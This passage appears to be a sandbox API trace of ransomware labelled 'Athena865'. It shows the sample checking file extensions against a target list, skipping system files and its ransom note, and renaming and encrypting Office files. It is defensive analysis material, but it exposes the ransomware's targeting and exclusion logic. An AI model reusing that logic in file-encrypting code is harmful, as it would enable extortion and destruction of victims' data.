[0114.207] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0114.207] lstrlenW (lpString="mdbhtml") returned 7 [0114.207] lstrcmpiW (lpString1="P30.DLL", lpString2="mdbhtml") returned 1 [0114.207] lstrlenW (lpString="mdn") returned 3 [0114.207] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0114.207] lstrlenW (lpString="mdt") returned 3 [0114.207] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0114.207] lstrlenW (lpString="mfd") returned 3 [0114.207] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0114.207] lstrlenW (lpString="mpd") returned 3 [0114.207] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0114.207] lstrlenW (lpString="mrg") returned 3 [0114.207] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0114.207] lstrlenW (lpString="mud") returned 3 [0114.207] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0114.207] lstrlenW (lpString="mwb") returned 3 [0114.207] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0114.207] lstrlenW (lpString="myd") returned 3 [0114.207] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0114.207] lstrlenW (lpString="ndf") returned 3 [0114.207] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0114.207] lstrlenW (lpString="nnt") returned 3 [0114.207] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0114.207] lstrlenW (lpString="nrmlib") returned 6 [0114.207] lstrcmpiW (lpString1="30.DLL", lpString2="nrmlib") returned -1 [0114.207] lstrlenW (lpString="ns2") returned 3 [0114.207] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0114.207] lstrlenW (lpString="ns3") returned 3 [0114.207] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0114.207] lstrlenW (lpString="ns4") returned 3 [0114.208] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0114.208] lstrlenW (lpString="nsf") returned 3 [0114.208] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0114.208] lstrlenW (lpString="nv") returned 2 [0114.208] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0114.208] lstrlenW (lpString="nv2") returned 3 [0114.208] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0114.208] lstrlenW (lpString="nwdb") returned 4 [0114.208] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0114.208] lstrlenW (lpString="nyf") returned 3 [0114.208] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0114.208] lstrlenW (lpString="odb") returned 3 [0114.208] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0114.208] lstrlenW (lpString="odb") returned 3 [0114.208] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0114.208] lstrlenW (lpString="oqy") returned 3 [0114.208] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0114.208] lstrlenW (lpString="ora") returned 3 [0114.208] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0114.208] lstrlenW (lpString="orx") returned 3 [0114.208] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0114.208] lstrlenW (lpString="owc") returned 3 [0114.208] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0114.208] lstrlenW (lpString="p96") returned 3 [0114.208] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0114.208] lstrlenW (lpString="p97") returned 3 [0114.208] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0114.208] lstrlenW (lpString="pan") returned 3 [0114.208] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0114.208] lstrlenW (lpString="pdb") returned 3 [0114.209] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0114.209] lstrlenW (lpString="pdm") returned 3 [0114.209] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0114.209] lstrlenW (lpString="pnz") returned 3 [0114.209] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0114.209] lstrlenW (lpString="qry") returned 3 [0114.209] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0114.209] lstrlenW (lpString="qvd") returned 3 [0114.209] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0114.209] lstrlenW (lpString="rbf") returned 3 [0114.209] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0114.209] lstrlenW (lpString="rctd") returned 4 [0114.209] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0114.209] lstrlenW (lpString="rod") returned 3 [0114.209] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0114.209] lstrlenW (lpString="rodx") returned 4 [0114.209] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0114.209] lstrlenW (lpString="rpd") returned 3 [0114.209] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0114.209] lstrlenW (lpString="rsd") returned 3 [0114.209] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0114.209] lstrlenW (lpString="sas7bdat") returned 8 [0114.209] lstrcmpiW (lpString1="AP30.DLL", lpString2="sas7bdat") returned -1 [0114.209] lstrlenW (lpString="sbf") returned 3 [0114.209] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0114.209] lstrlenW (lpString="scx") returned 3 [0114.209] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0114.209] lstrlenW (lpString="sdb") returned 3 [0114.209] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0114.210] lstrlenW (lpString="sdc") returned 3 [0114.210] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0114.210] lstrlenW (lpString="sdf") returned 3 [0114.210] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0114.210] lstrlenW (lpString="sis") returned 3 [0114.210] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0114.210] lstrlenW (lpString="spq") returned 3 [0114.210] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0114.210] lstrlenW (lpString="te") returned 2 [0114.210] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0114.210] lstrlenW (lpString="teacher") returned 7 [0114.210] lstrcmpiW (lpString1="P30.DLL", lpString2="teacher") returned -1 [0114.210] lstrlenW (lpString="tmd") returned 3 [0114.210] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0114.210] lstrlenW (lpString="tps") returned 3 [0114.210] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0114.210] lstrlenW (lpString="trc") returned 3 [0114.210] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0114.210] lstrlenW (lpString="trc") returned 3 [0114.210] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0114.210] lstrlenW (lpString="trm") returned 3 [0114.210] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0114.210] lstrlenW (lpString="udb") returned 3 [0114.210] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0114.210] lstrlenW (lpString="udl") returned 3 [0114.210] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0114.210] lstrlenW (lpString="usr") returned 3 [0114.210] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0114.210] lstrlenW (lpString="v12") returned 3 [0114.211] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0114.211] lstrlenW (lpString="vis") returned 3 [0114.211] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0114.211] lstrlenW (lpString="vpd") returned 3 [0114.211] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0114.211] lstrlenW (lpString="vvv") returned 3 [0114.211] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0114.211] lstrlenW (lpString="wdb") returned 3 [0114.211] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0114.211] lstrlenW (lpString="wmdb") returned 4 [0114.211] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0114.211] lstrlenW (lpString="wrk") returned 3 [0114.211] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0114.211] lstrlenW (lpString="xdb") returned 3 [0114.211] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0114.211] lstrlenW (lpString="xld") returned 3 [0114.211] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0114.211] lstrlenW (lpString="xmlff") returned 5 [0114.211] lstrcmpiW (lpString1="0.DLL", lpString2="xmlff") returned -1 [0114.211] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.Athena865") returned 78 [0114.211] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.athena865"), dwFlags=0x1) returned 1 [0114.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0114.213] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=705392) returned 1 [0114.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0114.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0114.213] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0114.213] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0114.214] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0114.214] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.214] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xac670, lpName=0x0) returned 0x17c [0114.216] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xac670) returned 0x2d50000 [0114.243] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0114.243] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0114.243] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0114.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0114.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0114.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0114.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0114.244] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0114.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0114.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0114.244] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0114.250] CloseHandle (hObject=0x17c) returned 1 [0114.250] CloseHandle (hObject=0x154) returned 1 [0114.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0114.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0114.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0114.253] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0114.253] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.253] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.253] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2=".") returned 1 [0114.253] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2="..") returned 1 [0114.253] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2="windows") returned -1 [0114.253] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2="bootmgr") returned 1 [0114.253] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2="temp") returned -1 [0114.253] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2="pagefile.sys") returned -1 [0114.253] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2="boot") returned 1 [0114.253] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2="ids.txt") returned 1 [0114.253] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2="ntuser.dat") returned -1 [0114.253] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2="perflogs") returned -1 [0114.253] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2="MSBuild") returned 1 [0114.253] lstrlenW (lpString="MUAUTH.CAB") returned 10 [0114.253] lstrcpyW (in: lpString1=0x241e8b8, lpString2="MUAUTH.CAB" | out: lpString1="MUAUTH.CAB") returned="MUAUTH.CAB" [0114.253] lstrlenW (lpString="MUAUTH.CAB") returned 10 [0114.254] lstrlenW (lpString="Athena865") returned 9 [0114.254] lstrcmpiW (lpString1="UAUTH.CAB", lpString2="Athena865") returned 1 [0114.254] lstrlenW (lpString=".dll") returned 4 [0114.254] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2=".dll") returned 1 [0114.254] lstrlenW (lpString=".lnk") returned 4 [0114.254] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2=".lnk") returned 1 [0114.254] lstrlenW (lpString=".ini") returned 4 [0114.254] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2=".ini") returned 1 [0114.254] lstrlenW (lpString=".sys") returned 4 [0114.254] lstrcmpiW (lpString1="MUAUTH.CAB", lpString2=".sys") returned 1 [0114.254] lstrlenW (lpString="MUAUTH.CAB") returned 10 [0114.254] lstrlenW (lpString="bak") returned 3 [0114.254] lstrcmpiW (lpString1="CAB", lpString2="bak") returned 1 [0114.254] lstrlenW (lpString="ba_") returned 3 [0114.254] lstrcmpiW (lpString1="CAB", lpString2="ba_") returned 1 [0114.254] lstrlenW (lpString="dbb") returned 3 [0114.254] lstrcmpiW (lpString1="CAB", lpString2="dbb") returned -1 [0114.254] lstrlenW (lpString="vmdk") returned 4 [0114.254] lstrcmpiW (lpString1=".CAB", lpString2="vmdk") returned -1 [0114.254] lstrlenW (lpString="rar") returned 3 [0114.254] lstrcmpiW (lpString1="CAB", lpString2="rar") returned -1 [0114.254] lstrlenW (lpString="zip") returned 3 [0114.254] lstrcmpiW (lpString1="CAB", lpString2="zip") returned -1 [0114.254] lstrlenW (lpString="tgz") returned 3 [0114.254] lstrcmpiW (lpString1="CAB", lpString2="tgz") returned -1 [0114.254] lstrlenW (lpString="vbox") returned 4 [0114.254] lstrcmpiW (lpString1=".CAB", lpString2="vbox") returned -1 [0114.254] lstrlenW (lpString="vdi") returned 3 [0114.254] lstrcmpiW (lpString1="CAB", lpString2="vdi") returned -1 [0114.254] lstrlenW (lpString="vhd") returned 3 [0114.255] lstrcmpiW (lpString1="CAB", lpString2="vhd") returned -1 [0114.255] lstrlenW (lpString="vhdx") returned 4 [0114.255] lstrcmpiW (lpString1=".CAB", lpString2="vhdx") returned -1 [0114.255] lstrlenW (lpString="avhd") returned 4 [0114.255] lstrcmpiW (lpString1=".CAB", lpString2="avhd") returned -1 [0114.255] lstrlenW (lpString="db") returned 2 [0114.255] lstrcmpiW (lpString1="AB", lpString2="db") returned -1 [0114.255] lstrlenW (lpString="db2") returned 3 [0114.255] lstrcmpiW (lpString1="CAB", lpString2="db2") returned -1 [0114.255] lstrlenW (lpString="db3") returned 3 [0114.255] lstrcmpiW (lpString1="CAB", lpString2="db3") returned -1 [0114.255] lstrlenW (lpString="dbf") returned 3 [0114.255] lstrcmpiW (lpString1="CAB", lpString2="dbf") returned -1 [0114.255] lstrlenW (lpString="mdf") returned 3 [0114.255] lstrcmpiW (lpString1="CAB", lpString2="mdf") returned -1 [0114.255] lstrlenW (lpString="mdb") returned 3 [0114.255] lstrcmpiW (lpString1="CAB", lpString2="mdb") returned -1 [0114.255] lstrlenW (lpString="sql") returned 3 [0114.255] lstrcmpiW (lpString1="CAB", lpString2="sql") returned -1 [0114.255] lstrlenW (lpString="sqlite") returned 6 [0114.255] lstrcmpiW (lpString1="TH.CAB", lpString2="sqlite") returned 1 [0114.255] lstrlenW (lpString="sqlite3") returned 7 [0114.255] lstrcmpiW (lpString1="UTH.CAB", lpString2="sqlite3") returned 1 [0114.255] lstrlenW (lpString="sqlitedb") returned 8 [0114.255] lstrcmpiW (lpString1="AUTH.CAB", lpString2="sqlitedb") returned -1 [0114.255] lstrlenW (lpString="xml") returned 3 [0114.255] lstrcmpiW (lpString1="CAB", lpString2="xml") returned -1 [0114.255] lstrlenW (lpString="$er") returned 3 [0114.256] lstrcmpiW (lpString1="CAB", lpString2="$er") returned 1 [0114.256] lstrlenW (lpString="4dd") returned 3 [0114.256] lstrcmpiW (lpString1="CAB", lpString2="4dd") returned 1 [0114.256] lstrlenW (lpString="4dl") returned 3 [0114.256] lstrcmpiW (lpString1="CAB", lpString2="4dl") returned 1 [0114.256] lstrlenW (lpString="^^^") returned 3 [0114.256] lstrcmpiW (lpString1="CAB", lpString2="^^^") returned 1 [0114.256] lstrlenW (lpString="abs") returned 3 [0114.256] lstrcmpiW (lpString1="CAB", lpString2="abs") returned 1 [0114.256] lstrlenW (lpString="abx") returned 3 [0114.256] lstrcmpiW (lpString1="CAB", lpString2="abx") returned 1 [0114.256] lstrlenW (lpString="accdb") returned 5 [0114.256] lstrcmpiW (lpString1="H.CAB", lpString2="accdb") returned 1 [0114.256] lstrlenW (lpString="accdc") returned 5 [0114.256] lstrcmpiW (lpString1="H.CAB", lpString2="accdc") returned 1 [0114.256] lstrlenW (lpString="accde") returned 5 [0114.256] lstrcmpiW (lpString1="H.CAB", lpString2="accde") returned 1 [0114.256] lstrlenW (lpString="accdr") returned 5 [0114.256] lstrcmpiW (lpString1="H.CAB", lpString2="accdr") returned 1 [0114.256] lstrlenW (lpString="accdt") returned 5 [0114.256] lstrcmpiW (lpString1="H.CAB", lpString2="accdt") returned 1 [0114.256] lstrlenW (lpString="accdw") returned 5 [0114.258] lstrcmpiW (lpString1="H.CAB", lpString2="accdw") returned 1 [0114.258] lstrlenW (lpString="accft") returned 5 [0114.258] lstrcmpiW (lpString1="H.CAB", lpString2="accft") returned 1 [0114.258] lstrlenW (lpString="adb") returned 3 [0114.258] lstrcmpiW (lpString1="CAB", lpString2="adb") returned 1 [0114.258] lstrlenW (lpString="adb") returned 3 [0114.258] lstrcmpiW (lpString1="CAB", lpString2="adb") returned 1 [0114.258] lstrlenW (lpString="ade") returned 3 [0114.258] lstrcmpiW (lpString1="CAB", lpString2="ade") returned 1 [0114.258] lstrlenW (lpString="adf") returned 3 [0114.258] lstrcmpiW (lpString1="CAB", lpString2="adf") returned 1 [0114.258] lstrlenW (lpString="adn") returned 3 [0114.258] lstrcmpiW (lpString1="CAB", lpString2="adn") returned 1 [0114.258] lstrlenW (lpString="adp") returned 3 [0114.258] lstrcmpiW (lpString1="CAB", lpString2="adp") returned 1 [0114.258] lstrlenW (lpString="alf") returned 3 [0114.258] lstrcmpiW (lpString1="CAB", lpString2="alf") returned 1 [0114.258] lstrlenW (lpString="ask") returned 3 [0114.258] lstrcmpiW (lpString1="CAB", lpString2="ask") returned 1 [0114.258] lstrlenW (lpString="btr") returned 3 [0114.258] lstrcmpiW (lpString1="CAB", lpString2="btr") returned 1 [0114.259] lstrlenW (lpString="cat") returned 3 [0114.259] lstrcmpiW (lpString1="CAB", lpString2="cat") returned -1 [0114.259] lstrlenW (lpString="cdb") returned 3 [0114.259] lstrcmpiW (lpString1="CAB", lpString2="cdb") returned -1 [0114.259] lstrlenW (lpString="ckp") returned 3 [0114.259] lstrcmpiW (lpString1="CAB", lpString2="ckp") returned -1 [0114.259] lstrlenW (lpString="cma") returned 3 [0114.259] lstrcmpiW (lpString1="CAB", lpString2="cma") returned -1 [0114.259] lstrlenW (lpString="cpd") returned 3 [0114.259] lstrcmpiW (lpString1="CAB", lpString2="cpd") returned -1 [0114.259] lstrlenW (lpString="dacpac") returned 6 [0114.259] lstrcmpiW (lpString1="TH.CAB", lpString2="dacpac") returned 1 [0114.259] lstrlenW (lpString="dad") returned 3 [0114.259] lstrcmpiW (lpString1="CAB", lpString2="dad") returned -1 [0114.259] lstrlenW (lpString="dadiagrams") returned 10 [0114.259] lstrlenW (lpString="daschema") returned 8 [0114.259] lstrcmpiW (lpString1="AUTH.CAB", lpString2="daschema") returned -1 [0114.259] lstrlenW (lpString="db-journal") returned 10 [0114.259] lstrlenW (lpString="db-shm") returned 6 [0114.259] lstrcmpiW (lpString1="TH.CAB", lpString2="db-shm") returned 1 [0114.259] lstrlenW (lpString="db-wal") returned 6 [0114.259] lstrcmpiW (lpString1="TH.CAB", lpString2="db-wal") returned 1 [0114.259] lstrlenW (lpString="dbc") returned 3 [0114.259] lstrcmpiW (lpString1="CAB", lpString2="dbc") returned -1 [0114.259] lstrlenW (lpString="dbs") returned 3 [0114.259] lstrcmpiW (lpString1="CAB", lpString2="dbs") returned -1 [0114.259] lstrlenW (lpString="dbt") returned 3 [0114.259] lstrcmpiW (lpString1="CAB", lpString2="dbt") returned -1 [0114.259] lstrlenW (lpString="dbv") returned 3 [0114.259] lstrcmpiW (lpString1="CAB", lpString2="dbv") returned -1 [0114.260] lstrlenW (lpString="dbx") returned 3 [0114.260] lstrcmpiW (lpString1="CAB", lpString2="dbx") returned -1 [0114.260] lstrlenW (lpString="dcb") returned 3 [0114.260] lstrcmpiW (lpString1="CAB", lpString2="dcb") returned -1 [0114.260] lstrcmpiW (lpString1="CAB", lpString2="dct") returned -1 [0114.260] lstrcmpiW (lpString1="CAB", lpString2="dcx") returned -1 [0114.260] lstrcmpiW (lpString1="CAB", lpString2="ddl") returned -1 [0114.260] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.Athena865") returned 76 [0114.260] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.athena865"), dwFlags=0x1) returned 1 [0114.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0114.262] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6747) returned 1 [0114.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0114.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0114.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0114.262] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0114.263] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0114.263] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.263] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d60, lpName=0x0) returned 0x17c [0114.265] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d60) returned 0x100000 [0114.265] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0114.266] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0114.266] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0114.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0114.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0114.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0114.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0114.266] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0114.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0114.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0114.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0114.267] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0114.267] CloseHandle (hObject=0x17c) returned 1 [0114.267] CloseHandle (hObject=0x154) returned 1 [0114.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0114.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0114.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0114.267] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0114.267] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.267] lstrcmpiW (lpString1="MUOPTIN.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.267] lstrcmpiW 